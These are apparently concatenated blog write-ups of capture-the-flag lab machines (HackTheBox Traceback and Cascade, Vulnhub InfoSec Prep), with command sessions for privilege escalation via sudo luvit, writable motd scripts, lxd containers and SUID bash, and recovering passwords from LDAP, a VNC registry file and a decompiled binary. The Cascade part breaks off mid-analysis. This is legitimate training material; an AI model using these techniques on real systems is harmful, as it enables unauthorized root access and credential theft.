<div class="highlight"><pre><span></span><code>ssh 10.10.10.181 -lwebadmin
The authenticity of host '10.10.10.181 (10.10.10.181)' can't be established.
ECDSA key fingerprint is SHA256:7PFVHQKwaybxzyT2EcuSpJvyQcAASWY9E/TlxoqxInU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.181' (ECDSA) to the list of known hosts.
#################################
-------- OWNED BY XH4H ---------
- I guess stuff could have been configured better ^^ -
#################################
Welcome to Xh4H land
Last login: Thu Mar 26 01:09:32 2020 from 10.10.17.253
webadmin@traceback:~$
</code></pre></div>
<h1>Getting user</h1>
<p>In our home folder we found a note from <code>sysadmin</code>, the other system user about
some lua tool.</p>
<div class="highlight"><pre><span></span><code>webadmin@traceback:~$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
</code></pre></div>
<p>Looking at our <code>sudo</code> right we have the possibility to execute <code>luvit</code> as
<code>sysadmin</code> without password.</p>
<div class="highlight"><pre><span></span><code>webadmin@traceback:~$ sudo -l
Matching Defaults entries for webadmin on traceback:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webadmin may run the following commands on traceback:
(sysadmin) NOPASSWD: /home/sysadmin/luvit
</code></pre></div>
<p>We deduce that this is a lua interpreter and run some "Hello World" to confirm
it.</p>
<div class="highlight"><pre><span></span><code>webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit
Welcome to the Luvit repl!
> print("Hello World")
Hello World
</code></pre></div>
<p>Next we just execute <code>/bin/sh</code> using our interpreter.</p>
<div class="highlight"><pre><span></span><code>webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/sh")'
$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
</code></pre></div>
<p>We go to our new home directory and read <code>user.txt</code>.</p>
<div class="highlight"><pre><span></span><code>$ bash
sysadmin@traceback:~$ cd /home/sysadmin/
sysadmin@traceback:/home/sysadmin$ ls
luvit user.txt
sysadmin@traceback:/home/sysadmin$ cat user.txt
349f0968dce655cb15708bba0077d225
</code></pre></div>
<p>As before we add our public ssh key to the user's <code>.ssh/authorized_keys</code>.</p>
<h1>root</h1>
<p>We do not know sysadmin's password required to list our <code>sudo</code> right.</p>
<p>We run a simple <code>ps aux</code> to know which process are running. We see (that's some
luck) that root regularly execute the following command:
<code>/bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/</code></p>
<div class="highlight"><pre><span></span><code>root 28855 0.0 0.0 4628 856 ? Ss 02:48 0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
</code></pre></div>
<p>We confirm that using <a href="https://github.com/DominicBreuker/pspy">pspy</a> (using ssh
to copy the binary).</p>
<div class="highlight"><pre><span></span><code>2020/03/26 03:07:01 CMD: UID=0 PID=29213 | /bin/sh -c /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
2020/03/26 03:07:01 CMD: UID=0 PID=29212 | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
</code></pre></div>
<p>When looking at the <code>/var/backups/.update-motd.d</code> folder's permissions when see
that we can not write in any file nor create a file as everything belong to
<code>root</code>. Nevertheless, the <code>/etc/update-motd.d/</code> folder's permissions allow our
user to write in any file. We create a temporary folder and add a command to the
<code>00-header</code> file. That command will copy the file <code>/root/root.txt</code> and give us
the permissions to read it.</p>
<div class="highlight"><pre><span></span><code>sysadmin@traceback:/etc/update-motd.d$ ls -al
total 32
drwxr-xr-x 2 root sysadmin 4096 Aug 27 2019 .
drwxr-xr-x 80 root root 4096 Mar 16 03:55 ..
-rwxrwxr-x 1 root sysadmin 981 Mar 26 03:59 00-header
-rwxrwxr-x 1 root sysadmin 982 Mar 26 03:59 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 Mar 26 03:59 50-motd-news
-rwxrwxr-x 1 root sysadmin 604 Mar 26 03:59 80-esm
-rwxrwxr-x 1 root sysadmin 299 Mar 26 03:59 91-release-upgrade
sysadmin@traceback:/etc/update-motd.d$ mkdir /tmp/ioio
sysadmin@traceback:/etc/update-motd.d$ echo 'cp /root/root.txt /tmp/ioio && chmod 777 /tmp/ioio/root.txt' >> 00-header
</code></pre></div>
<p>We then quickly trigger the command by initiating a new SSH connection. We can
then grab the root flag.</p>
<div class="highlight"><pre><span></span><code>ssh sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H ---------
- I guess stuff could have been configured better ^^ -
#################################
Welcome to Xh4H land
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Mar 26 03:57:28 2020 from 10.10.14.2
$ cat /tmp/ioio/*
07c8a04e829b07060576e3a799a33a9d
</code></pre></div>
<h1>Wrapping up</h1>
<p>The box was quit easy and is really a nice one for beginner.</p>Vulnhub: InfoSec Prep: OSCP2020-08-10T10:35:00+02:002020-08-10T10:35:00+02:00maggicktag:maggick.fr,2020-08-10:/2020/08/vulnhub-infosec-prep-oscp.html<p><img alt="Book card" class="align-left" src="/media/2020.08/prep_oscp.png" width="262"/></p>
<p>This is a writeup about a vulnhub machine
<a href="https://www.vulnhub.com/entry/infosec-prep-oscp,508/">InfoSec Prep</a>
This box is an really easy box in order to make a small selection for entering a
give away for a 30d voucher to the OSCP Lab, Lab materials, and an exam attempt.
The box was created by
<a href="https://www.vulnhub.com/author/falconspy,646/">FalconSpy</a> and publish on July
11 2020.
It involves a <code>robots.txt</code> file, some base64 an SSH key, lxd and a SUID binary.</p>
<p><img alt="Book card" class="align-left" src="/media/2020.08/prep_oscp.png" width="262"/></p>
<p>This is a writeup about a vulnhub machine
<a href="https://www.vulnhub.com/entry/infosec-prep-oscp,508/">InfoSec Prep</a>
This box is an really easy box in order to make a small selection for entering a
give away for a 30d voucher to the OSCP Lab, Lab materials, and an exam attempt.
The box was created by
<a href="https://www.vulnhub.com/author/falconspy,646/">FalconSpy</a> and publish on July
11 2020.
It involves a <code>robots.txt</code> file, some base64 an SSH key, lxd and a SUID binary.</p>
<h1>User</h1>
<h2>nmap</h2>
<p>We start with an nmap scan. Only the ports 22 (SSH), 80 (HTTP) and 33060 (??) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sat Jul 18 04:31:34 2020 as: nmap -p- -sSV -oN nmap_tcp 192.168.1.200
Nmap scan report for oscp.home (192.168.1.200)
Host is up (0.00093s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
33060/tcp open mysqlx?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=7/17%Time=5F1161EE%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000
SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>
<h2>Web</h2>
<p>On port 80 we found a classic wordpress blog. We run a wpscan on it but nothing
pop out. We run a nikto on the box. It found an entry <code>/secret.txt</code> on the
<code>robots.txt</code> file.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ nikto -h 192.168.1.200
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.200
+ Target Hostname: 192.168.1.200
+ Target Port: 80
+ Start Time: 2020-07-18 08:12:31 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ RFC-1918 IP address found in the 'link' header. The IP is "10.244.168.1".
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http: 10.244.168.1="" 192.168.1.200http:="" index.php="" wp-json=""></http:>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'x-redirect-by' found, with contents: WordPress
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/secret.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
<snip>
</snip></code></pre></div>
<p>The file is a RSA private key encoded in base64. Once decoded we store it in a
<code>ssh_key</code> file.</p>
<p>We just need to know what the user is. We continue to browse the website and
display the <code>admin</code> user page (http://192.168.1.200/index.php/author/admin/) it
state that the only use on the box is <code>oscp</code> so we connect on SSH as <code>oscp</code> using
SSH key.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ ssh oscp@192.168.1.200 -i id_rsa
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
<snip>
-bash-5.0$
</snip></code></pre></div>
<h1>Root</h1>
<p>I found two ways to get root. The first one (unintended) with <code>lxc</code> and the
second one with an SUID binary.</p>
<h2>lxc</h2>
<p>Once we have a shell on the box we run <code>id</code> and found out that we are part of
the <code>lxd</code> group. This is a know privilege escalation.</p>
<div class="highlight"><pre><span></span><code>~ # -bash-5.0$ id
uid=1000(oscp) gid=1000(oscp) groups=1000(oscp),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
</code></pre></div>
<p>When we try to run the <code>lxc</code> (or <code>lxd</code>) command we got an error <code>command not
found</code> so we run a quick search in order to find the binary path.</p>
<div class="highlight"><pre><span></span><code>-bash-5.0$ lxc
-bash: lxc: command not found
-bash-5.0$ find / -name 'lxc' 2> /dev/null
/snap/lxd/16100/bin/lxc
/snap/lxd/16100/commands/lxc
/snap/lxd/16100/lxc
/snap/lxd/16044/bin/lxc
/snap/lxd/16044/commands/lxc
/snap/lxd/16044/lxc
/snap/bin/lxc
/usr/share/bash-completion/completions/lxc
</code></pre></div>
<p>Then we build clone the alipne image and build it on our system (as it require
root permission), then we transfer it to the box.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ git clone https://github.com/saghul/lxd-alpine-builder
kali@kali:~$ cd lxd-alpine-builder/
kali@kali:~lxd-alpine-builder$ sudo ./build-alpine -a i686
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86
Downloading alpine-keys-2.2-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
<snip>
18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
kali@kali:~lxd-alpine-builder$ scp -i id_rsa alpine-v3.12-i686-20200717_0532.tar.gz oscp@192.168.1.200:
alpine-v3.12-i686-20200717_0532.tar.gz
</snip></code></pre></div>
<p>Then we try to import the image in the box. We first need to initialize <code>lxd</code>.</p>
<div class="highlight"><pre><span></span><code>-bash-5.0$ /snap/bin/lxc image import ./alpine-v3.12-i686-20200717_0532.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
Image imported with fingerprint: dcf00931e4bc5f738cb5d843593151420e4c27cf7c8152a3b91ec6c75bf4db6d
-bash-5.0$ /snap/bin/lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
Error: No storage pool found. Please create a new storage pool
-bash-5.0$ /snap/bin/lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
<snip>
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
</snip></code></pre></div>
<p>Then we just boot the image, mounting the host disk and access the root flag.</p>
<div class="highlight"><pre><span></span><code>-bash-5.0$ /snap/bin/lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
-bash-5.0$ /snap/bin/lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
-bash-5.0$ /snap/bin/lxc start mycontainer
-bash-5.0$ /snap/bin/lxc exec mycontainer /bin/sh
~ # ls /mnt/root/
bin cdrom etc lib lib64 lost+found mnt proc run snap swap.img tmp var
boot dev home lib32 libx32 media opt root sbin srv sys usr
~ # ls /mnt/root/root/
fix-wordpress flag.txt snap
~ # ls /mnt/root/root/flag.txt
/mnt/root/root/flag.txt
~ # cat /mnt/root/root/flag.txt
d73b04b0e696b0945283defa3eee4538
</code></pre></div>
<h2>SUID bash</h2>
<p>We can also list the SUID binary and found that <code>/usr/bin/bash</code> is SUID.</p>
<div class="highlight"><pre><span></span><code>-bash-5.0$ find / -uid 0 -perm -4000 -type f 2>/dev/null
<snip>
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/bash
/usr/bin/pkexec
/usr/bin/umount
/usr/bin/chsh
/usr/bin/su
</snip></code></pre></div>
<p>We just use the <code>-p</code> option in order to have a shell as root.</p>
<div class="highlight"><pre><span></span><code>-bash-5.0$ bash -p
bash-5.0# id
uid=1000(oscp) gid=1000(oscp) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd),1000(oscp)
bash-5.0# cat /root/flag.txt
d73b04b0e696b0945283defa3eee4538
</code></pre></div>
<h1>Wrapping up</h1>
<p>The box was really easy, a nice job from FalconSpy as it will allow "beginners"
to enter the give away.</p>HTB: Cascade2020-07-26T09:30:00+02:002020-07-26T09:30:00+02:00maggicktag:maggick.fr,2020-07-26:/2020/07/htb-cascade.html<p><img alt="Cascade Card" class="align-left" src="/media/2020.07/cascade_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/235">Cascade</a> publish on
Mars 28 2020 by
<a href="https://www.hackthebox.com/home/users/profile/158833">VbScrub</a>.
This box is rated as medium box. It implies some LDAP search, some SMB shares,
a VNC registry, some reverse engineering and the AD Recycle Bin.</p>
<p><img alt="Cascade Card" class="align-left" src="/media/2020.07/cascade_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/235">Cascade</a> publish on
Mars 28 2020 by
<a href="https://www.hackthebox.com/home/users/profile/158833">VbScrub</a>.
This box is rated as medium box. It implies some LDAP search, some SMB shares,
a VNC registry, some reverse engineering and the AD Recycle Bin.</p>
<h1>Recon</h1>
<h2>nmap</h2>
<p>Let us start as always by a <code>nmap</code> scan. The box is quit busy so first of all we
run a simple nmap scan:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Fri Apr 10 05:54:33 2020 as: nmap -p- -sSV -oN nmap 10.10.10.182
Nmap scan report for 10.10.10.182
Host is up (0.084s latency).
Not shown: 65520 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-10 09:59:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 10 05:57:39 2020 -- 1 IP address (1 host up) scanned in 185.33 seconds
</code></pre></div>
<p>As always with Windows box there is a lot of open ports and services.
We try to enumerate a few of them and run
<a href="https://github.com/portcullislabs/enum4linux">enum4linux</a>.</p>
<h2>LDAP</h2>
<p>The interesting service is the LDAP. When enumerating and reading the result we
discover that the <code>r.thompson</code> account as a filed <code>cascadeLegacyPwd</code> containing
some base64 data.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ ldapsearch -h 10.10.10.182 -p 389 -x -b "dc=cascade,dc=local"
<snip>
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200323112031.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 1
codePage: 0
countryCode: 0
badPasswordTime: 132309997863352844
lastLogoff: 0
lastLogon: 132247339125713230
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
</snip></code></pre></div>
<p>We decode it and found the password <code>rY4n5eva</code> for the <code>r.thompson</code> account.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ echo -ne 'clk0bjVldmE=' | base64 -d
rY4n5eva
</code></pre></div>
<h2>SMB share</h2>
<p>Using this account we can enumerate the available SMB shares.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ smbclient -L \\\\10.10.10.182 -U 'r.thompson'
Unable to initialize messaging context
Enter WORKGROUP\r.thompson's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Audit$ Disk
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
print$ Disk Printer Drivers
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
</code></pre></div>
<p>We mount the <code>Data</code> share using our account and list its content, the file <code>VNC
Install.reg</code> inside <code>s.smith</code> folder seems interesting.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ sudo mount //10.10.10.182/Data /mnt/ -o username=r.thompson
tree /mnt/
/mnt/
├── Contractors
├── Finance
├── IT
│ ├── Email Archives
│ │ └── Meeting_Notes_June_2018.html
│ ├── LogonAudit
│ ├── Logs
│ │ ├── Ark AD Recycle Bin
│ │ │ └── ArkAdRecycleBin.log
│ │ └── DCs
│ │ └── dcdiag.log
│ └── Temp
│ ├── r.thompson
│ └── s.smith
│ └── VNC Install.reg
├── Production
└── Temps
13 directories, 4 files
</code></pre></div>
<p>This <code>VNC Install.reg</code> file inside <code>s.smith</code> folder is the Windows Registry of a VNC installation. The
<code>Password</code> entry is really interesting.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ cat /mnt/IT/Temp/s.smith/VNC\ Install.reg
��Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""
</code></pre></div>
<p>A few Google search lead us to <a href="https://github.com/frizb/PasswordDecrypts">github repository explaining how to decrypt the
password</a> using the Interactive Ruby
Shell from metasploit.</p>
<div class="highlight"><pre><span></span><code>$ msfconsole
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
irb: warn: can't alias jobs from irb_jobs.
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0F"].pack('H*'), fixedkey
=> "sT333ve2"
</code></pre></div>
<p>With this account we can connect to the box using
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a>. We quickly found the
user flag inside on our user Desktop.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/tools/github/evil-winrm$ ruby ./evil-winrm.rb -i 10.10.10.182 -u s.smith -p sT333ve2
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents> type "C:\Users\s.smith\Desktop\user.txt"
6c624e1637cf604fec1cda8de1ad0779
</code></pre></div>
<h1>Getting root</h1>
<p>We try to mount some other share with our <code>s.smith</code> account. <code>Audit</code> is interesting as
there is a executable binary <code>CascAudit.exe</code>, a DLL <code>CascCrypto.dll</code>, and a
SQLite Database <code>Audit.db</code>.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ sudo mount //10.10.10.182/Audit$ /mnt/ -o username=s.smith
Password for s.smith@//10.10.10.182/Audit$: ********
kali@kali:~$ tree /mnt/
/mnt/
├── CascAudit.exe
├── CascCrypto.dll
├── DB
│ └── Audit.db
├── RunAudit.bat
├── System.Data.SQLite.dll
├── System.Data.SQLite.EF6.dll
├── x64
│ └── SQLite.Interop.dll
└── x86
└── SQLite.Interop.dll
3 directories, 8 files
</code></pre></div>
<p>We load the executable in <a href="https://github.com/0xd4d/dnSpy">DNSpy</a> and look at
the code. We saw a function that use the Crypto DLL to decrypt a text providing
from the database using the key <code>c4scadek3y654321</code>.</p>
<div class="highlight"><pre><span></span><code>using<span class="w"> </span>(SQLiteConnection<span class="w"> </span>sqliteConnection<span class="w"> </span>=<span class="w"> </span>new<span class="w"> </span>SQLiteConnection("Data<span class="w"> </span>Source="<span class="w"> </span>+<span class="w"> </span>MyProject.Application.CommandLineArgs[0]<span class="w"> </span>+<span class="w"> </span>";Version=3;"))
{
<span class="w"> </span>string<span class="w"> </span>str<span class="w"> </span>=<span class="w"> </span>string.Empty;
<span class="w"> </span>string<span class="w"> </span>password<span class="w"> </span>=<span class="w"> </span>string.Empty;
<span class="w"> </span>string<span class="w"> </span>str2<span class="w"> </span>=<span class="w"> </span>string.Empty;
<span class="w"> </span>try
<span class="w"> </span>{
<span class="w"> </span>sqliteConnection.Open();
<span class="w"> </span>using<span class="w"> </span>(SQLiteCommand<span class="w"> </span>sqliteCommand<span class="w"> </span>=<span class="w"> </span>new<span class="w"> </span>SQLiteCommand("SELECT<span class="w"> </span>*<span class="w"> </span>FROM<span class="w"> </span>LDAP",<span class="w"> </span>sqliteConnection))
<span class="w"> </span>{
<span class="w"> </span>using<span class="w"> </span>(SQLiteDataReader<span class="w"> </span>sqliteDataReader<span class="w"> </span>=<span class="w"> </span>sqliteCommand.ExecuteReader())
<span class="w"> </span>{
<span class="w"> </span>sqliteDataReader.Read();
<span class="w"> </span>str<span class="w"> </span>=<span class="w"> </span>Conversions.ToString(sqliteDataReader["Uname"]);
<span class="w"> </span>str2<span class="w"> </span>=<span class="w"> </span>Conversions.ToString(sqliteDataReader["Domain"]);
<span class="w"> </span>string<span class="w"> </span>text<span class="w"> </span>=<span class="w"> </span>Conversions.ToString(sqliteDataReader["Pwd"]);
<span class="w"> </span>try
<span class="w"> </span>{
<span class="w"> </span>password<span class="w"> </span>=<span class="w"> </span>Crypto.DecryptString(text,<span class="w"> </span>"c4scadek3y654321");
<span class="w"> </span>}
<span class="w"> </span>catch<span class="w"> </span>(Exception<span class="w"> </span>ex)
<span class="w"> </span>{
<span class="w"> </span>Console.WriteLine("Error<span class="w"> </span>decrypting<span class="w"> </span>password:<span class="w"> </span>"<span class="w"> </span>+<span class="w"> </span>ex.Message);
<span class="w"> </span>return;
<span class="w"> </span>}
<span class="w"> </span>}
<span class="w"> </span>}
<span class="w"> </span>sqliteConnection.Close();
<span class="w"> </span>}
</code></pre></div>
<p>We repeat the SQL request using <code>sqlite3</code> and got some base64 data for the
user <code>ArkSvc</code>.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/pown/htb_cascade$ sqlite3 Audit.db
SQLite version 3.31.0 2019-12-29 00:52:41
Enter ".help" for usage hints.
sqlite> SELECT * FROM LDAP;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
</code></pre></div>
<p>We look at the crypto code in the DLL (still using <a href="https://github.com/0xd4d/dnSpy">DNSpy</a>).
This is a simple AES using a fix IV and the key passed in parameter by the
executable binary.</p>
